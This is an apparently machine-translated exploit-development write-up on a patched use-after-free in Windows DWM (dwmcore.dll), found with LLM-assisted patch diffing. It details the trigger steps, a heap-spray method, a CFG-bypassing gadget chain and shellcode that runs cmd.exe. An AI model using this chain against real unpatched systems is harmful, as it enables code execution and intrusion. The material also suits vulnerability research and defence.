Intro
パッチ差分は長い間私を魅了してきました。その理由の一部は、時間との競争、逆転、悪用、そして「1 日」の悪用ステータスを達成しようとすることに関係していると思います。高度な Windows ターゲットの場合、Valentina Palmiotti と Ruben Boonen は、これがすでにほぼ 3 年前に可能であることを証明しました。しかし、彼らは世界で最も才能のあるエクスプロイト開発者の一部です。LLM は私たち凡人の能力の底上げをしてくれるのでしょうか?幸いなことに、そして少し驚くべきことに、答えは「イエス」です。
狩り
1 月の 2026 Patch Tuesday のセキュリティ情報が発表された後、私はパッチされた脆弱性の 1 つを特定し、(できれば) それを解決する有効なエクスプロイトを開発するための調査を開始しました。ターゲットリストのトップには、すでに悪用されていることが知られている脆弱性がありました。1 月のパッチには、デスクトップ ウィンドウ マネージャー (DWM) に存在する情報漏洩の脆弱性が含まれていて、これが私の目に留まりました。また、ローカル権限の昇格につながる可能性のある 2 番目の DWM 脆弱性も含まれていました。歴史的に、DWM はローカル権限昇格の一般的なターゲットでした。パッチが適用されたコンポーネントを正確に特定するのは難しい場合もありますが、DWM の場合、dwmcore.dll は常に安全です。
ファイルに対して Ghidra をトレーニングし、関数ごとに BSim ベクトルを抽出すると、それらの違いを強調表示することが非常に簡単になります。言うまでもなく、Microsoft が修正した脆弱性の多くは、新しい機能フラグとともに提供されます。言うまでもなく、Opus 4.5 は差分を素早く処理し、数分以内に脆弱性の 1 つを特定しました。
======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll
======================================================================
----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
dwmcore_vuln.dll dwmcore_patched.dll Sim Jaccard
----------------------------------------------------------------------------------------------------
FUN_1802e7842 FUN_1802e7842 0.1191 0.0632
FUN_1802e92d6 FUN_1802e92d6 0.1470 0.0722
FUN_1802e5faa FUN_1802e5faa 0.1741 0.0769
~CDelegatedInkCanvas ~CDelegatedInkCanvas 0.7556 0.6047
GetBufferedOutputTransformed GetBufferedOutputTransformed 0.7628 0.6154
FrameStarted FrameStarted 0.7833 0.6429
~CSynchronousSuperWetInk ~CSynchronousSuperWetInk 0.8018 0.6667
FUN_1802f5aa2 FUN_1802f5aa2 0.9127 0.8393
FUN_1802f57d2 FUN_1802f5d72 0.9127 0.8393
======================================================================
ここからは、機能的なエクスプロイトを構築するのにかかった時間は、私が期待していたよりもはるかに遅かったと言わざるを得ません。私はモデルをいじくり回しながら、長い夜や週末を何度も過ごしました。この原因の多くは、バグ クラスとサブシステムに対する私自身の不慣れさに起因しています。最終的に、私たちは勝利し、低い権限から DWM および SYSTEM への RCE を実現しました。その過程で、GetRECT スプレー、新しいガジェット チェーン、DWM から SYSTEM へのパスなど、複数の新しいエクスプロイト手法を発見しました。ただし、これらのテクニック (およびその他のツール) と Opus 4.6 などの新しいモデル リリースを利用すると、DWM の UAF 脆弱性の発見から機能的な悪用までの時間が 3 週間から数時間に短縮されます。
バグ
この脆弱性は、 CSynchronousSuperWetInk::~CSynchronousSuperWetInkの Use-After-Free です。デストラクタは、 IsSuperWetCompatible()の戻り値に基づいて、条件に応じてCSuperWetInkManagerからオブジェクトを削除します。
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
this->vtable = &_vftable_;
bool bVar2 = IsSuperWetCompatible(this);
if (bVar2) {
CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
}
// ... cleanup continues
}
dwmcore.dll バージョン 10.0.26100.7309 の脆弱なデストラクタ。
スーパーウェット対応コンディションです
bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
this->clipEntry != NULL && this->comObject != NULL) {
return true;
}
return false;
}
dwmcore.dll バージョン 10.0.26100.7309 の IsSuperWetSupport 条件。
関数は、 LookupMode 2 に等しいか、 notifier1が設定されており、 clipEntryとcomObject両方が null 以外の場合にのみtrueを返します。
バグ
攻撃者は次のことができます。
- マネージャーに
CSynchronousSuperWetInkを登録します (Draw()中にLookupMode=2が必要です) CMD_SET_PROPERTY経由でLookupMode0 に変更します- 破壊をトリガーする
CMD_RELEASE_RESOURCE IsSuperWetCompatible()FALSEを返します →RemoveSource()はスキップされます- ぶら下がったポインタは
CSuperWetInkManager::localStrokesVector
DWM が後でこのベクターを反復処理すると (たとえば、 DirtyActiveInk内)、解放されたオブジェクトの vtable を逆参照し、制御されたコード実行につながります。
修正
パッチは機能フラグ ( Feature_1732988217 ) を追加します。有効にすると、 IsSuperWetCompatible()に関係なく、 RemoveSource()無条件に呼び出されます。これにより、破棄中にオブジェクトが常にマネージャーから適切に登録解除され、ぶら下がりポインターが排除されます。
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
*(undefined ***)this = &_vftable_;
bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
if (!bVar2) {
bVar2 = IsSuperWetCompatible(this);
if (!bVar2) goto LAB_1802a9b1a; // Skip RemoveSource only if feature disabled AND !compatible
}
CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
// ... cleanup continues
}
dwmcore.dll バージョン 10.0.26100.7623 の修正されたデストラクタ。
エクスプロイト
UAF は、DirectComposition APIを介して通常のユーザー モード アプリケーションからトリガーできます。この攻撃には特別な権限は必要ありません。
要件
- D3D11/DXGI インフラストラクチャ: BGRA サポートと、表示ウィンドウのスワップ チェーンを備えた D3D11 デバイスを作成します。
- DirectComposition デバイス: DXGI デバイスを使用して
DCompositionCreateDevice()経由で初期化します。 - NtDComposition システム コール アクセス:
win32u.dllを介してNtDCompositionProcessChannelBatchBufferとNtDCompositionCommitChannelフックまたは直接呼び出して、生のバッチ バッファー コマンドを挿入します。
トリガーシーケンス
ステップ1: インクトレイルを作成する(CSynchronousSuperWetInkを割り当てる)
DirectComposition デバイスからIDCompositionInkTrailDevice照会し、 CreateDelegatedInkTrailForSwapChain()またはCreateDelegatedInkTrail()を呼び出します。これにより、dwm.exe のヒープにCSynchronousSuperWetInkオブジェクト (リソース タイプ0xa8 ) が割り当てられます。
ステップ2: ビジュアルを作成し、LookupMode=2 を設定する
バッチ バッファ コマンドを次の場所に挿入します。
CMD_CREATE_RESOURCE(0x02) を使用してCSuperWetInkVisual(タイプ0xa5) を作成します。- ビジュアルをインク ソースに接続:
CMD_SET_REFERENCE(0x10)、propId0x34 - propId
10を持つCMD_SET_PROPERTY(0x0B) を介してインク ソースにLookupMode=2設定します - コンポジション ツリーに接続:
CMD_SET_REFERENCE、propId0x34を持つハンドル 1 および 2 (コンポジション ターゲット / マーシャラー) に接続します
LookupMode=2 により、 Draw()中にIsSuperWetCompatible() TRUE を返し、オブジェクトがCSuperWetInkManager::localStrokesVectorに登録されます。
ステップ3: フレームをレンダリングしてマネージャーに登録する
複数のフレーム ( IDXGISwapChain::Present ) を提示し、DirectComposition の変更をコミットします。これにより、DWM のレンダリング ループがトリガーされ、インク インフラストラクチャが呼び出され、マネージャーの内部ベクターにCSynchronousSuperWetInkポインターが登録されます。
ステップ4: LookupMode=0 を設定する (削除チェックをバイパス)
CMD_SET_PROPERTYを挿入してLookupModeを0に変更します。ここで、 IsSuperWetCompatible()次の理由で FALSE を返します:
if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)
LookupMode = 0 で通知者がいない場合は、最初の条件は失敗します。
ステップ5:インクの軌跡を解放する(ぶら下がったポインターを作成する)
- ビジュアル参照を切断: すべての接続の refHandle=0 で
CMD_SET_REFERENCE IDCompositionDelegatedInkTrailインターフェースを解放する
デストラクタ~CSynchronousSuperWetInkが実行されると:
IsSuperWetCompatible()を呼び出し、 FALSE (LookupMode=0) を返します。RemoveSource()スキップされます- オブジェクトは解放されましたが、そのポインタは
CSuperWetInkManager::localStrokesVectorに残ります
ステップ6: DirtyActiveInk(Use-After-Free)をトリガーする
フレームの表示とウィンドウの無効化を継続します。DWM の合成ループはCSuperWetInkManager::DirtyActiveInk()を呼び出し、 localStrokesVectorを反復してダングリング ポインタを逆参照します。
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
クラッシュ動作
ヒープ スプレーがないと、解放されたメモリにアクセスすると DWM がクラッシュします。
# Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
解放されたメモリが別のオブジェクト (例: CInteractionTrackerScaleAnimation ) によって再利用されると、予期しない vtable でクラッシュが発生します。
kd> dps rcx
00000201`fbef65f0 00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24
解放された割り当てを再利用するデータを制御すると、攻撃者は偽の vtable を作成し、 vtable+0x50での仮想呼び出しを介して任意のコード実行を実現できます。
ヒープスプレー
UAF を悪用するには、偽の vtable を含む攻撃者が制御するデータを使用して、解放されたCSynchronousSuperWetInk割り当てを再利用する必要があります。このセクションでは、GetRECT と呼ばれる CRegionGeometry RECT バッファ スプレー手法について説明します。
ターゲットオブジェクトのプロパティ
| 財産 | 値 |
|---|---|
| オブジェクト | CSynchronousSuperWetInk |
| サイズ | 0x120 (288バイト) |
| アロケータ | DefaultHeap::AllocClear → GetProcessHeap() |
| LFHバケット | 34 (273~288 バイトの範囲) |
| サブセグメントあたりのスロット数 | 57 |
スプレープリミティブ: CRegionGeometry RECT バッファ
スプレーでは、RECT 配列データを持つCRegionGeometryリソース (タイプ0x81 ) が使用されます。
| 財産 | 値 |
|---|---|
| リソースタイプ | 0x81 (CRegionGeometry) |
| スプレーサイズ | 18 RECT × 16 バイト = 288 バイト |
| アロケータ | std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288) |
| LFHバケット | 34、ターゲットと同じ |
| コンテンツコントロール | 72個のint32値(18個のRECT × 4 フィールド) |
割り当てチェーン:
dcomp.dll: SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase: CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
→ std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)
RECTバッファはpropId 5のCMD_SET_BUFFER_PROPERTY (0x0F)を介して書き込まれます:
struct CmdSetResourceBufferProperty {
uint32_t cmdId; // 0x0F
uint32_t handle; // Resource handle
uint32_t propId; // 5 for RECT array
uint32_t dataSize; // 288 for 18 RECTs
// Variable-length RECT data follows (4-byte aligned)
};
偽オブジェクトのRECTレイアウト
18 RECT (288 バイト) は、再利用されたメモリに対する完全な制御を提供します。
struct SprayRECT {
int32_t left; // +0x00 within RECT
int32_t top; // +0x04
int32_t right; // +0x08
int32_t bottom; // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields
// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)
隣接する RECT フィールドに 64 ビット値を書き込むヘルパー:
static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
*lo = (int32_t)(val & 0xFFFFFFFF);
*hi = (int32_t)(val >> 32);
}
搾取原始的
UAF は、スプレーされたオブジェクトを指す RCX を使用して、制御された vtable 呼び出しを提供します。DirtyActiveInkダングリング ポインタを反復する場合:
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)(); // call [[spray]+0x50] with RCX = spray
呼び出しサイトスタック:
00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c
ディスパッチ時のレジスタ状態:
RCX= スプレーされたオブジェクトへのポインタ(制御された 288 バイト)RIP=[[spray]+0x50](偽の vtable からの関数ポインタ)
ターゲット関数の制約
最初に呼び出せるものに関して 2 つの制限があります。
- ターゲットはCFG ビットマップ内に存在する必要があります (有効な呼び出しターゲットとしてマークされている)
- ターゲットには、それへのポインタ(IAT、vtable、またはその他の読み取り可能なメモリ内)が必要です。
任意のアドレスを直接呼び出すことはできません。両方の条件を満たす関数のみを呼び出すことができます。
ガジェットチェーン: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect
UAF によって制御された vtable 呼び出し ( RIP = [[spray]+0x50] 、 RCX = spray ) が提供されるため、残る課題は、CFG が有効なガジェットを連鎖させて任意のコード実行を実現することです。直接的なシェルコードの実行は CFG によってブロックされ、ヒープ アドレスの漏洩は発生しません。コード実行を実現するために両方の問題を解決する新しいガジェット チェーンを開発しましたが、そのためには 2 攻撃試行が成功する必要があり、信頼性が低下しました。そのため、2つのWindowsシステムDLLガジェットを使用する既知の公開手法に切り替えました: __fnINSTRING (user32.dll)およびCStdAsyncStubBuffer2_Disconnect (combase.dll)。
ステージ 1: __fnINSTRING - リークのないカーネルコールバックディスパッチ
Windows カーネルは、オフセット+0x58の PEB に格納されている関数ポインター テーブルであるKernelCallbackTable (KCT) を介してユーザー モードに通信を返します。各エントリは、 user32.dll内の__fn*ハンドラーを指します。これらの関数は CFG 有効な呼び出しターゲットであり、読み取り可能なメモリ (KCT 自体) 内にそれらへのポインターを持ち、両方の制約を満たしています。
偽の vtable を&KCT[fnINSTRING_index] - 0x50にポイントします。DirtyActiveInk が[[spray]+0x50]参照解除すると、KCT エントリが読み取られ、 __fnINSTRINGにディスパッチされます。
[[spray]+0x50]
= [KCT_entry_addr - 0x50 + 0x50]
= [KCT_entry_addr]
= &__fnINSTRING
これが便利なのは、 __fnINSTRING内部的に行っている動作によるものです。引数 (スプレー バッファー) を_CAPTUREBUF構造体として扱い、内部関数をディスパッチする前にFixupCallbackPointersを呼び出します。FixupCallbackPointersバッファからフィックスアップ テーブルを読み取り、バッファのベース アドレスを追加して相対オフセットを絶対アドレスに変換します。
// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
if (buf->guard != 0) return; // already fixed up - skip
int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
for (int i = 0; i < buf->fixupCount; i++) {
int32_t* target = (int32_t*)((char*)buf + fixups[i]);
*(uint64_t*)target += (uint64_t)buf; // relative → absolute
}
}
これにより、ヒープ アドレス リークの必要がなくなります。スプレー バッファに相対オフセットを埋め込み、 FixupCallbackPointers実行時にバッファ自身のアドレスを使用してそれらを絶対ポインタにパッチします。修正後、 __fnINSTRING 、 +0x28 (RCX)、 +0x30 (EDX)、 +0x38 (R8)、および+0x50 (R9) の引数を使用して、 +0x48の内部関数ポインターをディスパッチします。
内部関数をCStdAsyncStubBuffer2_Disconnectに設定します。
ステージ 2: CStdAsyncStubBuffer2_Disconnect - 2 つの連鎖 Vtable 呼び出し
CStdAsyncStubBuffer2_Disconnect combase.dllからエクスポートされ、安定したアドレスで CFG 有効になります。逆アセンブリすると、便利なプリミティブが明らかになります。引数レジスタが保持された 2 つの連続した vtable ディスパッチです。
; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV RBX, RCX ; save this
MOV RCX, [RCX-8] ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ skip1
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x20] ; vtable[4]
CALL guard_dispatch_icall ; CALL #1: [[this-8]+0x20] ← VirtualProtect
skip1:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ skip2
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x10] ; vtable[2]
CALL guard_dispatch_icall ; CALL #2: [[[this+0x10]]+0x10] ← shellcode
skip2:
ADD RSP, 0x20
POP RBX
RET
RDX、 R8 、およびR9は両方の呼び出しを通じて保持され、 __fnINSTRINGの引数設定からそのまま残ります。これにより、両方の vtable 呼び出しの最初の 3 つの引数を完全に制御できるようになります。
Vtable 呼び出し #1: VirtualProtect → RWX
スプレー バッファーの+0xC8に自己参照の偽のオブジェクトを構築します。 [+0xC8] (修正後) 自身を指しているため、 [RCX] → [RCX+0x20]逆参照すると+0xE8からVirtualProtectのアドレスが読み取られます。引数( __fnINSTRINGディスパッチから保持)は次のとおりです。
| ご参加登録 | 値 | 目的 |
|---|---|---|
| RCX | ベース+0xC8 (fake_obj_1) | lpAddress(スプレーバッファ領域の開始) |
| RDX | 0x1000 | dwサイズ |
| R8 | 0x40 | flNewProtect ( PAGE_EXECUTE_READWRITE ) |
| R9 | ベース+0xC0 | lpflOldProtect (スプレーバッファ内の出力スロット) |
この呼び出しの後、スプレー バッファーのメモリ ページは RWX としてマークされ、この領域からの実行を可能にするために CFG ビットマップが更新されます。
Vtable 呼び出し #2: インライン シェルコード
VirtualProtect が戻った後、Disconnect は 2 番目の vtable ディスパッチのために[this+0x10] RCX にロードします。
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ skip2 ; non-zero → take the call
MOV RAX, [RCX] ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV RAX, [RAX+0x10] ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall ; call base+0xD0
ポインタ チェーンは段階的に解決されます。
[this+0x10]=[base+0x90]=base+0xA0(偽のオブジェクト2)[RCX]=[base+0xA0]=base+0xA8、 fake_obj_2 の vtable ポインタ(修正後)[RAX+0x10]=[base+0xB8]=base+0xD0、vtable_2 の 3 番目のエントリ、シェルコードを指します
最後のCALL guard_dispatch_icall 、インライン シェルコードであるbase+0xD0にディスパッチされます。これは、先行する VirtualProtect 呼び出しのおかげで、実行可能かつ CFG 有効になっています。
シェルコードのレイアウト
シェルコードは 2 つのフェーズに分割されます。これは、VirtualProtect アドレス データが+0xE8 (呼び出し #1 によってvtable_1[0x20]として使用される) にあり、実行可能領域の中央にギャップを作成するためです。
フェーズ 1 (+0xD0、 22 バイト):後のアドレス演算のためにRCX (ベース + 0xA0) をRBXに保存し、シャドウ スペースを割り当て、 SW_SHOW (5) をRDXにロードし、 movabs RAXを介してWinExecの絶対アドレスをロードし、次に+0xE8で 8 バイトのデータ ギャップを飛び越えます。
mov rbx, rcx ; save base+0xA0 for address math
sub rsp, 0x28 ; shadow space
push 5
pop rdx ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp +0x0A ; skip over +0xE8 data → land at +0xF0
フェーズ 2 (+0xF0):シェルコードの末尾に埋め込まれた"cmd.exe\0"文字列へのRIP相対ポインターを使用してWinExec呼び出し、安全に再入力できるようにスプレーを解除してから、スタックの修正を実行して DWM の合成ループに直接戻ります。
lea rcx, [rip+0x22] ; rcx = &"cmd.exe"
call rax ; WinExec("cmd.exe", SW_SHOW)
; Defuse: rewrite fake vtable so re-entry is harmless
lea rax, [rbx+0x78] ; rax = address of the ret below
mov [rbx-0x48], rax ; [base+0x58] = ret_gadget
lea rax, [rbx-0x98] ; rax = base+0x08
mov [rbx-0xA0], rax ; [base+0x00] = base+0x08 (new fake vtable)
; Stack fixup: skip Disconnect + __fnINSTRING return frames
add rsp, 0xB8 ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor eax, eax ; zero return value
ret ; return directly to DWM composition loop
; "cmd.exe\0" embedded here
add rsp, 0xB8は信頼性を向上します。単純なadd rsp, 0x28はCStdAsyncStubBuffer2_Disconnectに戻り、次に__fnINSTRINGに戻り、 NtCallbackReturnを呼び出します。このカーネル コールバックの戻りパスは、ハイジャックされた呼び出しのコンテキストでは脆弱になる可能性があります。スタック調整に0x90追加することで、シェルコードは両方の中間フレームを完全にスキップし、DWM 構成ループ内のDirtyActiveInkの呼び出し元に直接戻ります。
安全な再突入:スプレーの除去
DWM のDirtyActiveInkは、ダングリング ポインタを複数回反復する場合があります。解除しないと、再突入のたびに連鎖反応全体が再び起こり、クラッシュすることになります。シェルコードは、スプレー vtable ポインターを書き換えて、後続の逆参照が無害なパスを取るようにします。
[base+0x00]base+0x08に上書きされます (新しい偽の vtable)[base+0x58]ret命令のアドレスに上書きされます
再入場時: [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret 。vtable 呼び出しはすぐに戻ります。vtable が KCT エントリをポイントしなくなったため、 __fnINSTRINGは再度呼び出されることはありません。
完全なスプレーレイアウト
FixupCallbackPointers後の完全な 288 バイトのスプレー バッファ (18 RECT) :
| オフセット | サイズ | コンテンツ | 目的 |
|---|---|---|---|
| +0x00 | 8 | KCT_エントリ - 0x50 | 偽のvtable → __fnINSTRING |
| +0x08 | 4 | 8 | 修正数 |
| +0x18 | 4 | 0x58 | フィックスアップテーブルオフセット |
| +0x20 | 8 | ベース(修正済み) | ガード(再修正をブロック) |
| +0x28 | 8 | ベース+0x80(修正済み) | RCX → 切断 this |
| +0x30 | 4 | 0x1000 | EDX → バーチャルプロテクト dwSize |
| +0x38 | 8 | 0x40 | R8 → ページ実行_読み取り書き込み |
| +0x48 | 8 | 切断(&D) | 内部関数ポインタ |
| +0x50 | 8 | ベース+0xC0(修正済み) | R9 → lpflOldProtect |
| +0x58 | 32 | フィックスアップテーブル(8エントリ) | パッチのオフセット |
| +0x78 | 8 | ベース+0xC8(修正済み) | [this-8] → fake_obj_1 |
| +0x80 | 8 | (未使用) | this基地を切断 |
| +0x90 | 8 | ベース+0xA0(修正済み) | [これ+0x10] → fake_obj_2 |
| +0xA0 | 8 | ベース+0xA8(修正済み) | fake_obj_2 vテーブル |
| +0xB8 | 8 | ベース+0xD0(修正済み) | vtable_2[0x10] → シェルコード |
| +0xC0 | 4 | (出力) | バーチャルプロテクト lpflOldProtect |
| +0xC8 | 8 | ベース+0xC8(修正済み) | 自己参照型vtable(fake_obj_1) |
| +0xD0 | 22 | シェルコードフェーズ1 | regsを保存し、WinExecをロードし、jmp |
| +0xE8 | 8 | 仮想保護 | vtable_1[0x20]データ |
| +0xF0 | 48 | シェルコードフェーズ2 | WinExec + defuse + スタック修正 + "cmd.exe\0" |
完全なチェーンの概要
DirtyActiveInk iterates dangling pointer
→ [[spray+0x00]+0x50] = __fnINSTRING(spray)
→ FixupCallbackPointers: 8 relative offsets → absolute
→ Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
→ Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
→ Spray buffer page is now RWX, CFG bitmap updated
→ Vtable call #2: shellcode at base+0xD0
→ WinExec("cmd.exe", SW_SHOW)
→ Defuse: rewrite vtable for safe re-entry
→ Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
→ RET directly to DWM composition loop
→ DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return
DWM プロセスは、システム整合性を持つ DWM ユーザーとして実行されます。SYSTEM を実現するためのこれまで公開されていた手法では、通常、LogonUI や Consent などの特権クライアント プロセスにマップされた関数ポインターをハイジャックします。ただし、共有セクションが読み取り専用にマップされたため、この手法は最近修正されたようです。私たちは SYSTEM への新しい代替パスを開発しましたが、現時点ではその技術の公開を控えることにしました。
締めくくりの感想
現在のモデルは、これまで長年にわたって培われた深い専門知識を必要としてきたタスクに非常に有効です。これには、リバース エンジニアリング、脆弱性の発見、エクスプロイトの開発などが含まれます。彼らの能力は未発達であり、これらの分野ではまだ世界最高レベルには及ばない。しかし、モデルの進歩は今のところ減速する兆候を見せていないようです。これにより、防御側の競争条件が均等になるだけでなく、攻撃側の能力も向上します。敵対的な猫とネズミのゲームは常に存在し、その点ではこれは目新しいことではありませんが、攻撃者は少なくとも短期的には、これらのツールを悪用する上で非対称的な優位性を持っています。攻撃者は、AI システムの安全性やセキュリティをほとんど心配することなく、より迅速に行動できます。防御側は、攻撃者よりも先に弱点を見つけ、防御力の向上を繰り返すために、コード(脆弱性)、セキュリティ製品(検出ギャップ)、企業(敵対者エミュレーション)に対して AI を攻撃目的で活用する必要があります。残念ながら、短期的な痛みの矢面に立たされるのは、セキュリティ チームを持たない小規模組織である可能性があります。私が望むのは、長期的には、セキュリティ コミュニティが協力して攻撃者よりも多くの資金を投入し、攻撃と防御の研究に取り組み、この時代をより良い状態で終えられることです。
